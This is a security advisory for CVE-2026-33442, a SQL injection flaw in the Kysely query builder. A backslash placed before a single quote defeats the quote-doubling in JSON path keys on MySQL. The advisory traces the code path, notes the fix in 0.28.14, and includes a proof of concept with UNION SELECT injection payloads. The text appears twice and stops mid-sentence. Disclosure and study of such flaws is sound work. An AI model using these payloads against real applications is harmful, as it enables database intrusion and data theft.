CVE-2026-33442

Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.

Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
2. The full compiled path becomes: '$.\'' OR 1=1 --'
3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
4. The second ' now terminates the string literal
5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is…

Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.

Kysely is a type-safe TypeScript SQL query builder. In versions 0.28.12 and 0.28.13, the sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL. Version 0.28.14 fixes the issue.

Summary

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral — it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
2. The full compiled path becomes: '$.\'' OR 1=1 --'
3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
4. The second ' now terminates the string literal
5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is…